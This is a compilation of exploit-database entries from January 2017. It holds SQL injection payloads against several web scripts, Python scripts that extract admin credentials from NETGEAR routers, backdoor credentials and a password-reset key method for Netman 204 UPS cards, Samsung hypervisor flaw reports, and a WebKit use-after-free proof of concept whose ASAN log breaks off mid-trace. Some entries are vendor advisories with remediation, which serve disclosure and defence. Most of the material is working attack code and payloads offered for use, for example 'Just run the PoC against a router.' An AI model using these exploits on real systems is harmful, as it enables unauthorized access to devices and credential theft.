# # # # #
# Exploit Title: Itech Dating Script v3.26 - 'send_gift.php' SQL Injection
# Google Dork: N/A
# Date: 30.01.2017
# Vendor Homepage: http://itechscripts.com/
# Software Buy: http://itechscripts.com/dating-script/
# Demo: http://dating.itechscripts.com/
# Version: 3.26
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# Login as regular user
# http://localhost/[PATH]/send_gift.php?id=[SQL]
# E.t.c
# # # # #
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Trustwave SpiderLabs Security Advisory TWSL2017-003:
Multiple Vulnerabilities in NETGEAR Routers
Published: 01/30/2017
Version: 1.0
Vendor: NETGEAR (http://www.netgear.com/)
Product: Multiple products
Finding 1: Remote and Local Password Disclosure
Credit: Simon Kenin of Trustwave SpiderLabs
CVE: CVE-2017-5521
Version affected:
# AC1450 V1.0.0.34_10.0.16 (Latest)
# AC1450 V1.0.0.22_1.0.10
# AC1450 V1.0.0.14_1.0.6
# D6400 V1.0.0.44_1.0.44 (V1.0.0.52_1.0.52 and above not affected)
# D6400 V1.0.0.34_1.3.34
# D6400 V1.0.0.38_1.1.38
# D6400 V1.0.0.22_1.0.22
# DC112A V1.0.0.30_1.0.60 (Latest)
# DGN2200v4 V1.0.0.24_5.0.8 (V1.0.0.66_1.0.66 is latest and is not affected)
# JNDR3000 V1.0.0.18_1.0.16 (Latest)
# R6200 V1.0.1.48_1.0.37 (V1.0.1.52_1.0.41 and above are not affected)
# R6200v2 V1.0.1.20_1.0.18 (V1.0.3.10_10.1.10 is latest and is not affected)
# R6250 V1.0.1.84_1.0.78 (V1.0.4.2_10.1.10 is latest and is not affected)
# R6300 V1.0.2.78_1.0.58 (Latest)
# R6300v2 V1.0.4.2_10.0.74 (V1.0.4.6_10.0.76 is latest and is patched)
# R6300v2 V1.0.3.30_10.0.73
# R6700 V1.0.1.14_10.0.29 (Latest beta)
# R6700 V1.0.0.26_10.0.26 (Latest stable)
# R6700 V1.0.0.24_10.0.18
# R6900 V1.0.0.4_1.0.10 (Latest)
# R7000 V1.0.6.28_1.1.83 (V1.0.7.2_1.1.93 is latest and is patched)
# R8300 V1.0.2.48_1.0.52
# R8500 V1.0.2.30_1.0.43 (V1.0.2.64_1.0.62 and above is patched)
# R8500 V1.0.2.26_1.0.41
# R8500 V1.0.0.56_1.0.28
# R8500 V1.0.0.20_1.0.11
# VEGN2610 V1.0.0.35_1.0.35 (Latest)
# VEGN2610 V1.0.0.29_1.0.29
# VEGN2610 V1.0.0.27_1.0.27
# WNDR3400v2 V1.0.0.16_1.0.34 (V1.0.0.52_1.0.81 is latest and is not affected)
# WNDR3400v3 V1.0.0.22_1.0.29 (V1.0.1.2_1.0.51 is latest and is not affected)
# WNDR3700v3 V1.0.0.38_1.0.31 (Latest)
# WNDR4000 V1.0.2.4_9.1.86 (Latest)
# WNDR4500 V1.0.1.40_1.0.68 (Latest)
# WNDR4500v2 V1.0.0.60_1.0.38 (Latest)
# WNDR4500v2 V1.0.0.42_1.0.25
# WGR614v10 V1.0.2.60_60.0.85NA (Latest)
# WGR614v10 V1.0.2.58_60.0.84NA
# WGR614v10 V1.0.2.54_60.0.82NA
# WN3100RP V1.0.0.14_1.0.19 (Latest)
# WN3100RP V1.0.0.6_1.0.12
# Lenovo R3220 V1.0.0.16_1.0.16 (Latest)
# Lenovo R3220 V1.0.0.13_1.0.13
Product description:
Multiple Netgear Routers
Many Netgear routers are prone to password disclosure via simple crafted
requests to the web management server. The bug is exploitable remotely if the
remote management option is set and can also be exploited given access to the
router over LAN or WLAN.
When trying to access the web panel a user is asked to authenticate, if the
authentication is cancelled and password recovery is not enabled, the user is
redirected to a page which exposes a password recovery token. If a user
supplies the correct token to the page
http://router/passwordrecovered.cgi?id=TOKEN (and password recovery is not
enabled), they will receive the admin password for the router.
If password recovery is set the exploit will fail, as it will ask the user for the recovery
questions which were previously set when enabling the feature, this is
persistent, even after disabling the recovery option the exploit will fail,
because the router will ask for the security questions.
This can easily be reproduced using the attached poc, or by sending these two
simple requests via the browser:
1. http://router/.../ will redirect you to http://router/..../unauth.cgi?id=TOKEN to acquire the token
2. http://router/passwordrecovered.cgi?id=TOKEN will give you credentials (some models require you to send a post request instead of get)
## netgore.py
import sys
import requests
def scrape(text, start_trig, end_trig):
if text.find(start_trig) != -1:
return text.split(start_trig, 1)[-1].split(end_trig, 1)[0]
else:
return "i_dont_speak_english"
#disable nasty insecure ssl warning
requests.packages.urllib3.disable_warnings()
#1st stage - get token
ip = sys.argv[1]
port = sys.argv[2]
url = 'http://' + ip + ':' + port + '/'
try:
r = requests.get(url)
except:
url = 'https://' + ip + ':' + port + '/'
r = requests.get(url, verify=False)
model = r.headers.get('WWW-Authenticate')
if model is not None:
print "Attcking: " + model[13:-1]
else:
print "not a netgear router"
sys.exit(0)
token = scrape(r.text, 'unauth.cgi?id=', '\"')
if token == 'i_dont_speak_english':
print "not vulnerable"
sys.exit(0)
print "token found: " + token
#2nd stage - pass the token - get the password
url = url + 'passwordrecovered.cgi?id=' + token
r = requests.post(url, verify=False)
#profit
if r.text.find('left\">') != -1:
username = (repr(scrape(r.text, 'Router Admin Username</td>', '</td>')))
username = scrape(username, '>', '\'')
password = (repr(scrape(r.text, 'Router Admin Password</td>', '</td>')))
password = scrape(password, '>', '\'')
if username == "i_dont_speak_english":
username = (scrape(r.text[r.text.find('left\">'):-1], 'left\">', '</td>'))
password = (scrape(r.text[r.text.rfind('left\">'):-1], 'left\">', '</td>'))
else:
print "not vulnerable becuse password recovery IS set"
sys.exit(0)
#html encoding pops out of nowhere, lets replace that
password = password.replace("#","#")
password = password.replace("&","&")
print "user: " + username
print "pass: " + password
================================
Just run the PoC against a router to get the credentials if it is vulnerable.
Finding 2: Remote and Local Password Disclosure
Credit: Simon Kenin of Trustwave SpiderLabs
CVE: CVE-2017-5521
Version affected:
# AC1450 V1.0.0.34_10.0.16 (Latest)
# AC1450 V1.0.0.22_1.0.10
# AC1450 V1.0.0.14_1.0.6
# D6300 V1.0.0.96_1.1.96 (Latest)
# D6300B V1.0.0.36_1.0.36
# D6300B V1.0.0.32_1.0.32
# D6400 V1.0.0.44_1.0.44 (V1.0.0.52_1.0.52 is latest and is patched)
# D6400 V1.0.0.22_1.0.22
# DC112A V1.0.0.30_1.0.60 (Latest)
# DGN2200v4 V1.0.0.76_1.0.76 (Latest)
# DGN2200v4 V1.0.0.66_1.0.66
# DGN2200Bv4 V1.0.0.68_1.0.68 (Latest)
# JNDR3000 V1.0.0.18_1.0.16 (Latest)
# R6200 V1.0.1.56_1.0.43 (Latest)
# R6200 V1.0.1.52_1.0.41
# R6200 V1.0.1.48_1.0.37
# R6200v2 V1.0.3.10_10.1.10 (Latest)
# R6200v2 V1.0.1.20_1.0.18
# R6250 V1.0.4.6_10.1.12 (Latest beta)
# R6250 V1.0.4.2_10.1.10 (Latest stable)
# R6250 V1.0.1.84_1.0.78
# R6300 V1.0.2.78_1.0.58 (Latest)
# R6300v2 V1.0.4.2_10.0.74 (V1.0.4.6_10.0.76 is latest and is patched)
# R6300v2 V1.0.3.6_1.0.63CH (Charter Comm.)
# R6400 V1.0.0.26_1.0.14 (V1.0.1.12_1.0.11 is latest and is patched)
# R6700 V1.0.0.26_10.0.26 (Latest)
# R6700 V1.0.0.24_10.0.18
# R6900 V1.0.0.4_1.0.10 (Latest)
# R7000 V1.0.6.28_1.1.83 (V1.0.7.2_1.1.93 is latest and is patched)
# R7000 V1.0.4.30_1.1.67
# R7900 V1.0.1.8_10.0.14 (Latest beta)
# R7900 V1.0.1.4_10.0.12 (Latest stable)
# R7900 V1.0.0.10_10.0.7
# R7900 V1.0.0.8_10.0.5
# R7900 V1.0.0.6_10.0.4
# R8000 V1.0.3.26_1.1.18 (Latest beta)
# R8000 V1.0.3.4_1.1.2 (Latest stable)
# R8300 V1.0.2.48_1.0.52
# R8500 V1.0.0.56_1.0.28 (V1.0.2.64_1.0.62 and above is patched)
# R8500 V1.0.2.30_1.0.43
# VEGN2610 V1.0.0.35_1.0.35 (Latest)
# VEGN2610 V1.0.0.27_1.0.27
# VEGN2610-1FXAUS V1.0.0.36_1.0.36 (Latest)
# VEVG2660 V1.0.0.23_1.0.23
# WNDR3400v2 V1.0.0.52_1.0.81 (Latest)
# WNDR3400v3 V1.0.1.4_1.0.52 (Latest)
# WNDR3400v3 V1.0.1.2_1.0.51
# WNDR3400v3 V1.0.0.22_1.0.29
# WNDR3700v3 V1.0.0.38_1.0.31 (Latest)
# WNDR4000 V1.0.2.4_9.1.86 (Latest)
# WNDR4500 V1.0.1.40_1.0.68 (Latest)
# WNDR4500 V1.0.1.6_1.0.24
# WNDR4500v2 V1.0.0.60_1.0.38 (Latest)
# WNDR4500v2 V1.0.0.50_1.0.30
# WNR1000v3 V1.0.2.68_60.0.93NA (Latest)
# WNR1000v3 V1.0.2.62_60.0.87 (Latest)
# WNR3500Lv2 V1.2.0.34_40.0.75 (Latest)
# WNR3500Lv2 V1.2.0.32_40.0.74
# WGR614v10 V1.0.2.60_60.0.85NA (Latest)
# WGR614v10 V1.0.2.58_60.0.84NA
# WGR614v10 V1.0.2.54_60.0.82NA
# Lenovo R3220 V1.0.0.16_1.0.16 (Latest)
# Lenovo R3220 V1.0.0.13_1.0.13
Many Netgear routers are prone to password disclosure via simple crafted
request to the web management server. The bug is exploitable remotely if the
remote management option is set and can also be exploited given access to the
router over LAN or WLAN.
Netgear routers have an option to restore forgotten password via 2 security
questions. If the recovery option is disabled (which is the default), it is
still possible to recover the password by sending a correct token to the
recovery page.
If a user supplies the correct token to the page
http://router/passwordrecovered.cgi?id=TOKEN (and password recovery is not
enabled), they will receive the admin password for the router. If password
recovery is set the exploit will fail, as it will ask the user for the recovery
questions which were previously set when enabling the feature, this is
persistent, even after disabling the recovery option, the exploit will fail,
because the router will ask for the security questions.
This mechanism does not work correctly on the very first request to
"passwordrecovered.cgi" and the token is not properly checked, this means that
any TOKEN value will result in disclosure of the password.
The issue occurs after every reboot of the router.
This can easily be reproduced using the attached poc, or by sending a simple
request via the browser:
1. http://router/passwordrecovered.cgi?id=Trustwave_SpiderLabs will give you credentials (some models require you to send a post request instead of get)
## netgore2.py
import sys
import requests
def scrape(text, start_trig, end_trig):
if text.find(start_trig) != -1:
return text.split(start_trig, 1)[-1].split(end_trig, 1)[0]
else:
return "i_dont_speak_english"
#disable nasty insecure ssl warning
requests.packages.urllib3.disable_warnings()
#1st stage
ip = sys.argv[1]
port = sys.argv[2]
url = 'http://' + ip + ':' + port + '/'
try:
r = requests.get(url)
except:
url = 'https://' + ip + ':' + port + '/'
r = requests.get(url, verify=False)
model = r.headers.get('WWW-Authenticate')
if model is not None:
print "Attcking: " + model[13:-1]
else:
print "not a netgear router"
sys.exit(0)
#2nd stage
url = url + 'passwordrecovered.cgi?id=get_rekt'
try:
r = requests.post(url, verify=False)
except:
print "not vulnerable router"
sys.exit(0)
#profit
if r.text.find('left\">') != -1:
username = (repr(scrape(r.text, 'Router Admin Username</td>', '</td>')))
username = scrape(username, '>', '\'')
password = (repr(scrape(r.text, 'Router Admin Password</td>', '</td>')))
password = scrape(password, '>', '\'')
if username == "i_dont_speak_english":
username = (scrape(r.text[r.text.find('left\">'):-1], 'left\">', '</td>'))
password = (scrape(r.text[r.text.rfind('left\">'):-1], 'left\">', '</td>'))
else:
print "not vulnerable router, or some one else already accessed passwordrecovered.cgi, reboot router and test again"
sys.exit(0)
#html encoding pops out of nowhere, lets replace that
password = password.replace("#","#")
password = password.replace("&","&")
print "user: " + username
print "pass: " + password
================================
Just run the PoC against a router to get the credentials if it is vulnerable.
Remediation Steps:
Please see NETGEAR's KBA for list of firmware patches for various models. As a
workaround, the bug only works when password recovery is NOT set. If you do set
password recovery this is not exploitable.
Revision History:
04/06/2016 - Vulnerability disclosed to vendor
04/19/2016 - Request for update and received confirmation of receipt of the advisories
05/18/2016 - Request for update; no response
07/14/2016 - Request for update
07/15/2016 - Notice of patch for some models and workaround KBA received along with commitment towards 100% coverage
10/17/2016 - Request for update
12/15/2016 - Notice of intent to publish advisories
01/04/2017 - Vendor responds with patch timeline and announcement of participation in Bugcrowd
01/30/2017 - Advisory published
References
1. http://c1ph04text.blogspot.com/2014/01/mitrm-attacks-your-middle-or-mine.html
2. https://www.exploit-db.com/exploits/32883/
3. http://kb.netgear.com/30632/Web-GUI-Password-Recovery-and-Exposure-Security-Vulnerability
About Trustwave:
Trustwave is the leading provider of on-demand and subscription-based
information security and payment card industry compliance management
solutions to businesses and government entities throughout the world. For
organizations faced with today's challenging data security and compliance
environment, Trustwave provides a unique approach with comprehensive
solutions that include its flagship TrustKeeper compliance management
software and other proprietary security solutions. Trustwave has helped
thousands of organizations--ranging from Fortune 500 businesses and large
financial institutions to small and medium-sized retailers--manage
compliance and secure their network infrastructure, data communications and
critical information assets. Trustwave is headquartered in Chicago with
offices throughout North America, South America, Europe, Africa, China and
Australia. For more information, visit https://www.trustwave.com
About Trustwave SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on
application security, incident response, penetration testing, physical
security and security research. The team has performed over a thousand
incident investigations, thousands of penetration tests and hundreds of
application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs
Disclaimer:
The information provided in this advisory is provided "as is" without
warranty of any kind. Trustwave disclaims all warranties, either express or
implied, including the warranties of merchantability and fitness for a
particular purpose. In no event shall Trustwave or its suppliers be liable
for any damages whatsoever including direct, indirect, incidental,
consequential, loss of business profits or special damages, even if
Trustwave or its suppliers have been advised of the possibility of such
damages. Some states do not allow the exclusion or limitation of liability
for consequential or incidental damages so the foregoing limitation may not
apply.
# # # # #
# Exploit Title: Video Sharing Script 4.94 - 'uid' Parameter SQL Injection
# Google Dork: N/A
# Date: 30.01.2017
# Vendor Homepage: http://itechscripts.com/
# Software Buy: http://itechscripts.com/video-sharing-script/
# Demo: http://video-sharing.itechscripts.com/
# Version: 4.94
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/channels.php?uid=[SQL]
#http://localhost/[PATH]/faq_show.php?fid=[SQL]
# E.t.c
# # # # #
# # # # #
# Exploit Title: Itech Real Estate Script v3.12 - 'id' Parameter SQL Injection
# Google Dork: N/A
# Date: 30.01.2017
# Vendor Homepage: http://itechscripts.com/
# Software Buy: http://itechscripts.com/real-estate-script/
# Demo: http://real-estate.itechscripts.com
# Version: 3.12
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/agent_search_property.php?id=[SQL]
# E.t.c
# # # # #
# Exploit Title: Viscosity for Windows 1.6.7 Privilege Escalation
# Date: 31.01.2017
# Software Link: https://www.sparklabs.com/
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# Category: local
1. Description
It is possible to execute openvpn with custom dll as SYSTEM using ViscosityService because path is not correctly validated.
https://security.szurek.pl/viscosity-for-windows-167-privilege-escalation.html
2. Proof of Concept
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41207.zip
3. Solution
Update to version 1.6.8
https://www.sparklabs.com/blog/viscosity-for-mac-windows-version-1-6-8/
# Exploit Title: Netman 204 Backdoor and weak password recovery function
# Google Dork: intitle:"Netman 204 login"
# Date: 31st Jan 2017
# Exploit Author: Simon Gurney
# Vendor Homepage: blog.synack.co.uk
# Software Link: http://www.riello-ups.co.uk/uploads/file/319/1319/FW058-0105__FW_B0225_NetMan_204_.zip
# Version: S14-1 and S15-2
# Tested on: Reillo UPS
# CVE : N/A
Netman 204 cards have a backdoor account eurek:eurek.
This account can be logged with by simply browsing to the URL
http://[IP]/cgi-bin/login.cgi?username=eurek&password=eurek
or
https://[IP]/cgi-bin/login.cgi?username=eurek&password=eurek
Due to flaws in parameter validation, the URL can be shortened to:
http://[IP]/cgi-bin/login.cgi?username=eurek%20eurek
or
https://[IP]/cgi-bin/login.cgi?username=eurek%20eurek
This backdoor has previously been reported by Saeed reza Zamanian under EDB-ID: 40431 here<https://www.exploit-db.com/exploits/40431/>, which shows how to utilise this to gain shell access however this did not give detail of how easy it is to log in to the device and access the administrative functions via the web interface. The google dork provided also reveals some UPS exposed to the internet.
If an admin has changed the passwords, they can be reset by generating a reset key from the MAC address if you are on the same subnet:
NETMANID=204:`/sbin/ifconfig eth0 | awk '/HWaddr/ {print $NF}' `
KEY=`echo .$NETMANID | md5sum | cut -c2-10`
To generate the key, do an MD5 hash of 204:[MAC ADDRESS]
Such as,
204:AA:BB:CC:DD:EE:FF == 0354a655811843aab718cfcf973c7dab
Then take characters 2-10, where position 1 is character 1 (not 0).
Such as,
354a65581
Then browse to the url:
http://[ip]/cgi-bin/recover2.cgi?password=354a65581
or
https://[ip]/cgi-bin/recover2.cgi?password=354a65581
Passwords have now been reset.
# Exploit Title: Joomla Component JTAG Calendar 6.2.4 - SQL Injection
# Date: 2017-1-28
# Vender Home : https://extensions.joomla.org/extension/jtag-calendar/
# Exploit Author: Persian Hack Team
# Discovered by : Mojtaba MobhaM
# Home : http://persian-team.ir/
# Tested on: Windows AND Linux
# Telegram Channel : @PersianHackTeam
# Google Dork : inurl:index.php?option=com_jtagcalendar
# POC :
# Search Parameter Vulnerable to Sql Injection
# http://Server.com/?option=com_jtagcalendar&format=raw&noframe=1&search=[SQL]&searchOnly=1
# Present to FireFighters
# Greetz : T3NZOG4N & FireKernel & Milad Hacking And All Persian Hack Team Members
Exploit Title: LogoStore - SQL Injection
Date: 27.01.2017
Software Link: https://codecanyon.net/item/logostore-buy-and-sell-logos-online/19379630
Exploit Author: Kaan KAMIS
Contact: iletisim[at]k2an[dot]com
Website: http://k2an.com
Category: Web Application Exploits
Overview
LogoStore is a web application that allows you to buy and sell logos online. Manage logos within your account, check others logos and sell your own!
Type of vulnerability:
An SQL Injection vulnerability in LogoStore allows attackers to read
arbitrary data from the database.
Vulnerable URL : http://locahost/LogoStore/search.php
Mehod : POST
Parameter : query
Simple Payload:
Type: UNION query
Payload: query=test' UNION ALL SELECT CONCAT(CONCAT('qqkkq','VnPVWVaYxljWqGpLLbEIyPIHBjjjjASQTnaqfKaV'),'qvvpq'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- oCrh&search=
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=979
As part of Samsung KNOX, Samsung phones include a security hypervisor called RKP (Real-time Kernel Protection), running in EL2. This hypervisor is meant to ensure that the HLOS kernel running in EL1 remains protected from exploits and aims to prevent privilege escalation attacks by "shielding" certain data structures within the hypervisor.
One of the features supported by RKP (but not yet supported by the Linux Kernel), is a form of control flow protection which is meant to mitigate the ROP and JOP exploitation techniques. This mitigation leverages a 64-bit key stored in the hypervisor in order to encrypt the return addresses and frame pointers stored on a given kernel task's stack.
RKP provides two commands which produce a value using the 64-bit hypervisor key, namely:
-cfp_ropp_new_key (RKP command 0x91)
-cfp_ropp_new_key_reenc (RKP command 0x92)
Both of these commands convert the given virtual address from the kernel VAS to a physical address, but fail to verify the resulting address either via "physmap", or by checking that the given address does not reside in the physical address range of RKP itself.
This means an attacker can issue these RKP calls in order to corrupt RKP memory or write to regions which are S2-protected by EL2 (for example, the EL0/1 translation tables).
When the aforementioned commands are executed, they read the value of the HYP-mode physical timer (CNTHP_TVAL_EL2) and then write the value (timer_value XOR 64bit_cfpropp_key) into the attacker-controlled memory location. Note that the 64-bit key is not secret, as it can be deduced by the attacker by requesting the hypervisor to "encrypt" a given 64-bit value, and then XOR-ing it back again with the original value to obtain the key. Furthermore, the key is currently not even randomly generated, but rather hard-coded into the hypervisor (the current key embedded in the hypervisor is 0xDB551FCBF3F95C53).
Here is an outline of an attack scenario in which an attacker can gain code execution within RKP (EL2) from EL1:
1. Get code execution in EL1
2. Locate the PTE/PMD/PGD in TTBR1_EL1 pointing to an RKP code page
3. Call "cfp_ropp_new_key_reenc" repeatedly to modify the translation table entry's AP bits to allow it to be writable
4. (In case the region is S2-protected, do the same for the entries in VTTBR)
5. Write directly to RKP's code segment from EL1
Lastly, it seems as though the RKP code pages are mapped as writable in TTBR_EL2 (and TCR_EL2.WXN is not set) - allowing the attacker to use these commands (or any other RKP memory corruption) in order to directly modify RKP code.
Proof of concept for the RKP CFP_ROPP_* memory corruption issue.
This PoC uses the CFP_ROPP_* commands to modify a kernel address in the kernel VAS.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41211.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=980
As part of Samsung KNOX, Samsung phones include a security hypervisor called RKP (Real-time Kernel Protection), running in EL2. This hypervisor is meant to ensure that the HLOS kernel running in EL1 remains protected from exploits and aims to prevent privilege escalation attacks by "shielding" certain data structures within the hypervisor.
In order to prevent EL0 and EL1 code from creating disallowed memory mappings (e.g., disabling PXN on areas not in the kernel text or enabling write permissions to a kernel code page), RKP employs a system through which all modifications to the S1 translation table are validated by the hypervisor. Moreover, RKP marks the EL0 and EL1 translation tables as read-only in the stage 2 translation table for EL0/1.
Normally, an adversary running in EL1 would be able to directly modify the value of TTBR0_EL1 and TTBR1_EL1, which would allow them to subvert the S1 protections. However, RKP correctly traps such MSRs in order to make sure any new translation table is also verified.
Specifically, when an MSR to a memory management control register is executed by EL1, it triggers a synchronous exception in the hypervisor. In the case of RKP, this exception is handled by the function "vmm_synchronous_handler". The function checks whether the abort is due to an MRS/MSR from EL1, and if so, calls the function "other_msr_system" in order to service the request.
As mentioned above - RKP does, in fact, verify the translation tables when set via TTBR0 and TTBR1 (by calling "rkp_l1pgt_ttbr"). However, for MSRs targeting the TCR_EL1 and SCLTR_EL1 registers, it directly modifies their value from EL2 without performing any validation.
These two registers are extremely sensitive and modifying their values allows an attacker to subvert the RKP memory protections.
TCR_EL1
-------
In the case of TCR_EL1, the attacker can set TCR_EL1.TG0 or TCR_EL1.TG1 in order to signal that the translation granule for TTBR0 or TTBR1 (accordingly) is any value other than the default 4KB granule used by the Linux Kernel.
Modifying the translation granule allows an attacker to subvert the stage-1 memory mapping restrictions used by RKP. This is since RKP incorrectly assumes that the translation granule is 4KB without actually checking the value in TCR_EL1.TGx.
For example, when protecting the translation table in TTBRx_EL1, RKP only s2-protects a 4KB region - since when using the 4KB granule, the translation regime has a translation table size of 4KB. However, for a translation granule of 64KB, the translation regime has a translation table size of 64KB.
This means that the bottom 60KB of the translation table remain unprotected by RKP, allowing an attacker in EL1 to freely modify it in order to point to any wanted IPA, with any AP and PXN/UXN values.
SCTLR_EL1
---------
In the case of SCTLR_EL1, the attacker can unset SCTLR_EL1.M in order to disable the stage 1 MMU for EL0 and EL1 translations. This would allow an attacker to trivially bypass the stage-1 protections (such as the ones discussed above), as no AP or XN permission checks would be present for stage 1 translations.
Lastly, it should be noted that while these MSRs might not be present in the kernel's code, they *are* present in RKP's code. As RKP's code pages are executable from EL1, an attacker can simply call these MSRs directly from RKP's code while running in EL1.
I've statically verified this issue on the RKP binary (version "RKP4.2_CL7572479") present in the open-source kernel package "SM-G935F_MM_Opensource".
Proof of concept for the RKP unprotected MSRs issue.
This PoC disables the M bit in SCTLR_EL1.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41212.zip
<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1044 -->
<script>
function go() {
output.value = "aaa";
output.appendChild(inserted_div);
document.getElementById("output").addEventListener('DOMSubtreeModified', function () {
for(var i=0; i<20; i++) {
form.appendChild(document.createElement("input"));
}
}, false);
form.reset();
}
</script>
<body onload=go()>
<div id="inserted_div">foo</div>
<form id="form" onchange="eventhandler()">
<input type="text" value="foo">
<output id="output" oninput="eventhandler()"></output>
<input type="text" value="foo">
<!--
=================================================================
Analysis:
The bug is in HTMLFormElement::reset() function, specifically in this part:
for (auto& associatedElement : m_associatedElements) {
if (is<HTMLFormControlElement>(*associatedElement))
downcast<HTMLFormControlElement>(*associatedElement).reset();
}
The issue is that while m_associatedElements vector is being iterated, its content can change (HTMLFormControlElement being added or removed from it).
Normally HTMLFormControlElement.reset() doesn't change the DOM, but there is one exception to this: The 'output' element. In WebKit, resetting the output element is equivalent to setting its textContent, which causes all of its child elements (if any) to be removed from the DOM tree.
Using this trick we can remove elements from m_associatedElements while it is being iterated. However, this by itself is not sufficient to exploit this issue as m_associatedElements.remove(index) (called from HTMLFormElement::removeFormElement()) won't actually reallocate the vector's buffer, it will only decrease vector's m_size and the vector's elements after m_size will still point to the (former) form members. (It might be possible to force the removed form members to be deleted but I haven't experimented with this).
So instead of removing elements from the m_associatedElements vector, I instead add elements to it while it is being iterated. I did this by adding DOMSubtreeModified event listener to the output element, so that when the output element gets reset, the event triggers and in the event hanlder newly created input elements are added to the form. This causes the vector's buffer to be reallocated to accommodate the new form elements. The loop inside HTMLFormElement::reset() continues to iterate over now deleted buffer, causing the use-after free condition.
If an attacker manages to reclaim the space of the freed buffer and fill it with attacker-controlled data (there is plenty of opportunity to do this inside the DOMSubtreeModified event handler. Also note that the size of the freed buffer can be chosen by the attacker), subsequent iterations over m_associatedElements will cause HTMLFormControlElement::reset() method to be called on the attacker-controlled pointer. Since HTMLFormControlElement::reset() is a virtual function, this can easily lead to code execution.
ASAN log:
=================================================================
==1963==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c0000a2c50 at pc 0x000109144e28 bp 0x7fff5ee93e10 sp 0x7fff5ee93e08
READ of size 8 at 0x60c0000a2c50 thread T0
#0 0x109144e27 in WebCore::HTMLFormElement::reset() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc2be27)
#1 0x1099b32e0 in WebCore::jsHTMLFormElementPrototypeFunctionResetCaller(JSC::ExecState*, WebCore::JSHTMLFormElement*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x149a2e0)
#2 0x1099b0cdd in long long WebCore::BindingCaller<WebCore::JSHTMLFormElement>::callOperation<&(WebCore::jsHTMLFormElementPrototypeFunctionResetCaller(JSC::ExecState*, WebCore::JSHTMLFormElement*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState*, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1497cdd)
#3 0x2e505aa01027 (<unknown module>)
#4 0x105d07f0c in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x126af0c)
#5 0x105d07f0c in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x126af0c)
#6 0x105d014da in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12644da)
#7 0x1059a1c5d in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf04c5d)
#8 0x105908033 in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xe6b033)
#9 0x104f718d1 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x4d48d1)
#10 0x104f719fb in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x4d49fb)
#11 0x104f71d46 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x4d4d46)
#12 0x1095a9e2e in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1090e2e)
#13 0x109894c66 in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext*, WebCore::Event*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x137bc66)
#14 0x108dea325 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8d1325)
